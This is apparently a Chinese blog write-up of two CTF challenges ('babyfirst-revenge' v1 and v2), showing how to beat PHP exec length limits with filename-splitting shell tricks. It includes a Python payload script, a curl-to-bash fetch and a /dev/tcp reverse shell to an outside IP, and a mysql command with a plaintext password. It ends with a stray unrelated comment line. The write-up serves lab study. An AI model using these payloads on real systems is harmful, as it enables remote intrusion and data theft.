之前做buuctf上面的题,碰到一个仿照但条件更宽松的题目,搜了一下原题来记录一下。
感谢Pr0ph3t师傅的dockerfile
1.babyfirst-revenge
<?php $sandbox = '/www/sandbox/' . md5("orange" . $_SERVER['REMOTE_ADDR']); @mkdir($sandbox); @chdir($sandbox); if (isset($_GET['cmd']) && strlen($_GET['cmd']) <= 5) { @exec($_GET['cmd']); } else if (isset($_GET['reset'])) { @exec('/bin/rm -rf ' . $sandbox); } highlight_file(__FILE__);
在本题中,执行命令的长度被限制到了5个字符,而且执行命令使用的是exec,没有回显,因此得想办法写一个马或者反弹shell
一般来说,写文件最短的命令是
echo 1>x
但还有一种更巧妙的方式:
>a #产生了文件名为a的空文件 ls>_ # 将文件名a和_写入了文件_ sh _ #执行了a指令
这里用到了linux的一个Trick,文件中当前命令错误时会报错但不会影响后续命令的执行,所以_也被写进了_文件,但是不会影响命令的执行,以ls为例:
所以我们可以通过这种方式写入命令
此时又有另一个问题,ls的输出其实是自带换行符的:
这里又用到了linux的另一个Trick,命令执行可以通过\进行换行续写:
因此有这样一个思路,将所要执行的命令分解成片段并作为文件名,并在文件名末尾添加\,最后使用ls>x将其输出到文件x中,然后sh x
但是linux的ls默认是按照字典序进行排序的,难以保证我们的命令分段刚好能按照字典序排序,这里可以使用-t参数,会使排序按照修改时间进行排序,晚生成的文件排在前面
所以将命令分段倒序执行即可:
现在还有最后一个问题,我们最后要执行的ls -t>x显然是超长的,要将它分成几段使用ls写入文件的话,就不能使用-t了(不然还是超长,死循环),五个字符的限制,除去必须的\和>,还剩三个字符,而ls -t>x中的-和>字典序是非常靠前的,一定会在字母前面,这里有两种方法:
1.使用>>进行拼接
先将ls写入x,剩下的命令使用>>进行追加
2.按字典序分割
幸运的是ls -t>x这句命令可以分割为"l", "s -", "t>x",刚好是按照字典序排列的,直接生成即可
这样,只需要将我们要执行的命令分段写入执行即可
比如curl 2783117327|bash
以上数字为我vps地址的十进制形式,同时将ip/index.html内容替换为
bash -c "bash -i >& /dev/tcp/165.227.0.15/8123 0>&1"
在自己vps进行监听,反弹shell即可
注意,ash(就是命令的最后一个分段)后面不要加\,不然会将下一行也视为命令的一部分导致执行失败
以上部分都是在容器里直接执行的,在题目环境里,通过cmd提交命令即可,可以写个脚本方便一点,这里拿orange师傅的脚本稍微改了改:
import requests from time import sleep from urllib.parse import quote payload = [ # generate `ls -t>g` file '>ls\\', 'ls>_', '>\ \\', '>-t\\', '>\>g', 'ls>>_', # generate `curl 2783117327|bash` '>bash', '>7\|\\', '>732\\', '>311\\', '>278\\', '>l\ \\', '>cur\\', # exec 'sh _', 'sh g' ] r = requests.get('http://localhost:10001/?reset=1') for i in payload: # assert len(i) <= 5 r = requests.get('http://localhost:10001/?cmd=' + quote(i) ) print(i) sleep(0.2)
成功反弹shell
在home目录下找到名为fl4444g的目录
得到提示,flag在数据库里
在shell中,不能直接使用mysql连接数据库进行交互,可以使用-e参数来执行SQL语句:
mysql -ufl4444g -pSugZXUtgeJ52_Bvr -e "show databases;" > database.txt
Pr0ph3t师傅的docker似乎没配置mysql,所以就做到这里了,接下来直接查询就可以得到flag了
2.babyfirst-revenge-v2
<?php $sandbox = '/www/sandbox/' . md5("orange" . $_SERVER['REMOTE_ADDR']); @mkdir($sandbox); @chdir($sandbox); if (isset($_GET['cmd']) && strlen($_GET['cmd']) <= 4) { @exec($_GET['cmd']); } else if (isset($_GET['reset'])) { @exec('/bin/rm -rf ' . $sandbox); } highlight_file(__FILE__);
相比于上一题,cmd长度限制变成了4,其他没有变化
但是上一题用的ls>>_无法再用了,而且也没法分割成字典序可用的命令段
这里先说一下另外一个linux的Trick
*一般作为通配符使用,但单独一个*,linux会把当前目录下的所有文件名按照字典序排序,然后作为命令执行:
此外,从上图中可以看到,*o达到了同样的效果,在执行命令的前提下,*还可以作为通配符使用
在ls无法先添加到开始位置的情况下,可以使用rev将其逆序,即将g> t- sl逆序
但考虑到t的字典序比s大,会在s后面,可以再添加一个参数h,即g> ht- sl
参数h在没有参数l的情况下不会有效果,可以随意添加
但是,如果还是像上一题一样使用ls,是有换行符的,rev逆序是按行进行的,也就是只会对每一行内容分别逆序,无法达成目的
可以使用dir命令,与ls命令类似,不过输出中只有最后有一个换行符:
但是dir>_超长了,这里就可以使用我们上面提到的trick了:
*v执行了rev v命令,成功将ls -th >g写入了_文件,接下来就是v1的步骤了,只需要将每段命令更短一点即可。
说好的色情内容呢